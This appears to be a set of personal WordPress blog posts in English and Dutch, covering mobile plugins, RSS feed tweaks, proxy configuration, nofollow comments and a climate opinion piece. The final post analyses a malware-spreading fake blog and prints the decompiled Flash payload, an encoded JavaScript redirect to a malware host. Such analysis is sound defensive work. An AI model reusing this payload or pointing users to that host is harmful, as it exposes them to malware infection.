blog.futtta.be going mobile with WPtouch

blog.futtta.be goes mobileAfter reading how wordpress.com implemented not one but two mobile versions for all of their 4.5 million hosted blogs, I decided to install the same WPtouch-plugin on this very blog as well.
Installation and activation of a new plugin is very straightforward from within the wordpress admin-screens. In the case of WPtouch (and every other plugin that produces alternatives views of the same content on the same URL) however, there is a conflict with the WP super cache plugin which needs to be resolved by basically telling the cache-plugin to not handle request from browsers with “mobile” useragent-strings.
After that WP super cache config hack, your blog has a mobile section which you can tailor to your needs in the WPtouch config screen. These are some of the settings I changed:

  • removed categories and tags from the header (didn’t seem to work anyhow)
  • added most of my pages to the dropdown menu in the header
  • excluded my lifestream-digest posts from being displayed
  • removed author from and added excerpt to individual posts

If anyone visits this site with their mobile browser and stuff doesn’t work, your feedback is welcome!

Blog Action Day 2009: klimaat-twijfel?

Het was een paar dagen geleden toch weer warm voor de tijd van het jaar, niet? Dat ziet er potverdorie niet goed uit voor onze ijskappen, nog even en het water staat ons helemaal tot aan de lippen. Armageddon, dan toch nog, ik had de Getuigen nooit de rug mogen toekeren! Maar als we nu allemaal héél erg ons best doen, als Amerika en China zich eindelijk achter Kyoto (of Kopenhagen) scharen, misschien, héél misschien komt het dan allemaal nog goed?
Nee, ge ziet het, ik ben niet één van die mensen die vrolijk panikeren over hoe ons klimaat bijna finaal naar de kloten is en over hoe we dat allemaal aan onszelf te danken hebben, of dan toch zeker aan de industrie, aan Amerika en aan Bush Jr. persoonlijk.
Maar
kernenergie is verrijkend voor electrabel en de franse staatskasMaar dat betekent niet dat er volgens mij geen vuiltje aan de lucht is. Er loopt wel degelijk iets verkeerd met milieu en klimaat en dat is denk ik ten minste gedeeltelijk te verklaren door onze collectieve hyper-activiteit. En als ik -we blijven simplistisch- moet kiezen tussen meer of minder CO2, dioxines of andere residuen van onze menselijke doe-drang, dan moogt ge voor mij dus gerust een streepke bij “minder” zetten, ook al geloof ik niet dat we daarmee de veronderstelde toorn van (schrappen wat niet past) God, Moeder Natuur of het Lot kunnen afwenden. Nu ik het toch over klimaat verandering heb tenslotte nog dit: omdat het zo moeilijk kiezen is tussen de pest (co2) en de cholera (kernenergie), vind ik het bijzonder spijtig dat de -misschien ambitieuze- beslissing om de oudste en kleinste kerncentrales vanaf 2015 te sluiten, nu door de huidige regering -toenmalig coalitiepartner OpenVld incluis-  terug uitgespuwd wordt.
Zo, daar hebt ge het. Een handvol niet onderbouwde meninkjes over mens, milieu en klimaat, in amper 3 paragrafen. Daarover moest ik van mijn linkse kerk vandaag immers bloggen, want het is Blog Action Day, over één van onze stokpaardjes dan nog! Soit, plicht vervuld, tot volgend jaar dan maar weer?
easy going solarcharger TYN91
Of wacht!
“Blog Action day”, misschien moet ik dan ook echt iets doen voor het klimaat? Zoals bijvoorbeeld deze zonne-energie batterijlader (“met baanbrekende MSPT-technologie“) voor mijn HTC Hero kopen? Wauw, dat zijn zelfs niet twee maar drie vliegen in één klap; ik heb er een leuke gadget bij, ik doe iets voor het milieu en ik kan m’n lezers op deze feestdag voor blogs en klimaat uitnodigen om ook zo’n zonne-energie hebbeding te kopen. Als we met genoeg zijn, is die klimaattop in Kopenhagen misschien zelfs niet meer nodig? En anders houden we er toch nog een korting voor een gezamenlijke aankoop aan over. Doet ge mee? Ik lees het wel, in de commentaren.

My blog laughs in your Facebook

keuzestress op het webGisteren bij Peter Decroubele lekker ouderwets gereageerd op zijn tekst over hoe blogs aan populariteit lijken in te boeten ten voordele van Facebook en Twitter. En Peter linkt daarbij ook lekker ouderwets door een blogpost van Bruno Peeters over hetzelfde onderwerp. Al dat bloggrn, linken en reageren ondergraaft mijn hieronder hernomen (en lichtjes geredigeerde) reactie misschien enigszins, maar uitzondering en regel en diens meer zeker?

Met de opkomst van Facebook en Twitter is het belang van blogging als sociale netwerktool sterk verminderd. Statusberichtjes tussen de soep en de patatten laten zich nu eenmaal makkelijker schrijven dan regelmatige, min of meer vlot leesbare blogposts.
Ook het aantal reacties (en trackbacks en linken) lijkt overigens af te nemen, ten voordele van eenvoudiger (short-)URL’s, retweets, twitter-replies, facebook-comments en andere “vind ik leuk”-s. Blogs volgen, erop reageren en andere comments tracken is door het decentrale karakter van weblogs en door de beperkingen van feedreaders immers veel minder makkelijk. Ik krijg op Facebook dan ook gemiddeld meer respons op mijn daar automatisch geïmporteerde schrijfsels dan op m’n blog zelf (alhoewel dat ook van het onderwerp afhangt).
Dat alles betekent volgens mij overigens helemaal niet dat bloggen zal verdwijnen. maar ik denk dat het wel (terug?) meer maxi-dagboek en mini-journalistiek zal worden, zonder de “social” hype en zonder het incrowd-sfeertje (dat op Twitter een nieuwe thuis heeft gevonden). En al bij al is dat misschien toch niet zo’n slechte evolutie?

How to exclude blogposts from your feed

I decided to start auto-posting weekly digests of my Lifestream-events to this blog, but wanted to prevent those items from polluting my rss-feed (call me a old-fashioned, but I like rss-feeds to have some body instead of just a couple of links and an occasional YouTube-clip). This turned out to be very easy with some category-tinkering and thanks to Feedburner.
Here’s what I did:

  1. Add a category “rss-able” and make it the parent of all existing categories
  2. Add a category “web wandering” (not under “rss-able” off course) and configure Lifestream to use that for the digests
  3. Configure Feedburner to use http://blog.futtta.be/rss-able/feed instead of http://blog.futtta.be/feed
  4. Exclude both new categories from being displayed in my “category cloud” widget

And there you have it; my Google Reader shared items, YouTube video’s and favorites, Facebook status and Tweets (if ever I would decide to do such a thing) are automatically collected in a weekly blogpost without bothering rss-readers or my Facebook-friends (who get that info shoved down their throats via Facebook-imports of the individual feeds anyway).

I decided to start auto-posting weekly digests of my Lifestream-events to this blog, but wanted to prevent those items from polluting my rss-feed (call me a old-fashioned, but I like rss-feeds to have some body instead of just a couple of links and an occasional YouTube-clip). This turned out to be very easy with some category-tinkering and thanks to Feedburner. This is what I did:
1. Add a category “rss-able” and make it the parent of all existing categories
2. Add a category “web wandering” (not under “rss-able” off course) and configure Lifestream to use that for the digests
3. Configure Feedburner to use http://blog.futtta.be/rss-able/feed instead of http://blog.futtta.be/feed
4. Exclude both new categories from being displayed in my “category cloud” widget
And there you have it; my Google Reader shared items, YouTube video’s and favorites, Facebook status and Tweets (if ever I would decide to do such a thing) are automatically collected in a weekly blogpost without bothering rss-readers or my Facebook-friends (who get that info shoved down their throats via Facebook-imports of the individual feeds anyway).

WordPress 2.8 loves your proxy

Up until version 2.7.1, running WordPress on an intranet was a real pain in the ass. It connects to the outside world to look for updates, to check comments for spam (using Akismet) or to fetch RSS-feeds for widgets if you configured those on your blog, … But as you typically don’t have direct internet-access on an intranet and as there was no way of letting WordPress know about a proxy, your blog timed out while it was trying to fsockopen those external sites.
chet bakerBut that was yesterday, because the recently released WordPress 2.8 “Baker” (which is chock-full of new features) has support for internet-connections through a proxy, thanks to its great HTTP API. Don’t bother looking for it in the admin-screens, you’ll need to configure the proxy-settings in your wp-config.php.
Here’s what you’ll have to add (values are examples which you’ll have to replace with settings for your environment off course):

define('WP_PROXY_HOST', '192.168.22.1');
define('WP_PROXY_PORT', '9099');

If you need to authenticate to access the proxy you can add your credentials this way:

define('WP_PROXY_USERNAME', 'frank');
define('WP_PROXY_PASSWORD', 's3cr3t');

You can also exclude requests for specific hosts from going through the proxy:

define('WP_PROXY_BYPASS_HOSTS', 'localhost, blog2.corpintranet');

And finally you can block all outgoing requests by default and add domains to a whitelist to only allow those to connect:

define ('WP_HTTP_BLOCK_EXTERNAL', 'true');
define ('WP_ACCESSIBLE_HOSTS', 'api.wordpress.org, akismet.com');

Off course some WordPress-plugins do not use the HTTP API yet (e.g. Lifestream and wp-security-scan rely on Simplepie, which does not use the proxy-aware wp_remote_get-function), so you might have to be careful when installing plugins that need internet-access.

Invitation to comment: dofollow

no nofollow = dofollow (sort off)Last Friday Steven of Some Minor Issues asked how he could increase the number of comments on his blog. I jokingly replied he should install the NoFollow Free WordPress plugin. Jokingly, because common blogging-sense claims that nofollow prevents people that are just looking for pagerank from posting irrelevant comments on your blog(*).
But then I began to wonder; why should I be afraid of not having “nofollow”? WordPress has  great spam-detection (Akismet) and I don’t allow comments to be published automatically anyway. Why not give people who contribute some pagerank-juice in return? So yesterday I installed NoFollow Free and configured it to remove nofollow for commentators who have 2 or more published (i.e. relevant, approved by me) comments.
So that’s that, this now is a dofollow blog. Now let those comments start pooring in! 😉
(*) The ranking of your site in search-results depends amongst other things on the number of links to your URL. That implies that if you’re able to “seed” your own link in blog-comments, Google will like you more. To prevent this from happening, nofollow (which is a value of the “rel”-attribute of the “a”-tag) tells Google not to consider a link. If  Google ignores links in blog-comments, people who are only trying to get Google to like their site, will not bother with commenting any more. That’s why rel=”nofollow” has become default in WordPress (and other blog software) ages ago.

Put your WordPress-categories back in the tagcloud

When blogging, tags and/or categories allow you to classify your posts. The taxonomy you create that way, allows searchbots (and human readers) to better understand what the post is about and to find related posts.
category cloud widget config screenshotEver since the release of WordPress 2.3 (in sept. 2007), you can specify both categories and tags for your posts. More or less following the ideas put forward by Lorelle-on-WordPress, I use categories as the main classification-method (putting posts in a hierarchical, directory-like structure) and add one-off keywords as tags. The only disadvantage: as tags are one-offs, the default tagcloud-widget in WordPress generates a dense put useless heatmap.
If you’re in the same situation, you might benefit from this little WordPress-plugin I wrote (well, …copy/pasted, actually, 80% is code straight from the original WP-tagcloud widget) to solve my tagcloud-woes. Once unzipped in your plugins-folder, “category cloud” will provide you with a widget which can not only generate a “tagcloud” or a “catcloud”, but also a “cat-and-tagcloud”. And because the default “general”-category might skew your catcloud-results or because you might prefer to have that NSFW-tag not show up, you can exclude tags and categories from being shown as well by entering their ID in the appropriate input box.

“Lifestreaming, across my universe”

Lifestreaming is where it’s at, so here I am, aggregating all my stuff (Google Reader shared items, my Youtube clips and favorites, my Facebook status and my blogposts) into one place. I tried sweetcron a couple of weeks ago, but for some reason it didn’t feel “ready” yet (or maybe I didn’t want to invest to heavily in it). I recently installed a simple WordPress plugin which seems to be doing the trick very well. Sweet indeed!
Next up; something to handle multi-language blogging a bit better, but now for something completely different (The Firm, Star Trekkin’ on Youtube);

The Firm - Star Trekkin'

Nasty blog, scary flash, why are you attacking me?

Yesterday I noticed that all of a sudden no less then 6 new sites linked to this small-time blog. Great huh? Except when checking out those blogs (all on google’s blogger-platform by the way), I quickly saw they were fake, attempting to trick users into installing malware on their windows PC’s.
Being the curious would-be hacker I am, I took the plunge to see how these guys go about trying to infect careless users;
  1. the blogpost contains what seems to be a youtube movie, but which actually is just a animated gif with a link behind it
  2. when clicking “the movie” to play, a swf-file is downloaded (blog.swf)
  3. that blog.swf (which i downloaded on my linux-box and decompiled on the commandline using flare) contains this simple code:
    • this.getURL(‘javascript:eval(unescape(‘%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%20%3D%20%22%2F%2F%6D%30%38%62%2E%63%6F%6D%2F%69%6E%2E%63%67%69%3F%64%65%66%61%75%6C%74%22%3B’))’);
    • which translates roughtly into go to http://m08b.com/in.cgi?default
  4. and that URL then takes you for a rollercoaster ride, going through several redirector-sites before arriving on a dark corner of the web where you’re told to install an activeX-component to watch a movie or a codec or sometimes even be told (the irony) to install antivirus software from some unknown company.

Some lessons learned;

  • Flash is evil (or it can be) as it allows attackers to hide malicious code inside a nice looking (and binary) swf-file.
  • Don’t trust the incoming links functionality google’s blogsearch provides (i switched back to technorati for the ‘binnenkomers’-widget on my blog)
  • The ‘report web forgery‘ function in Firefox (under ‘help’) works great. Use it!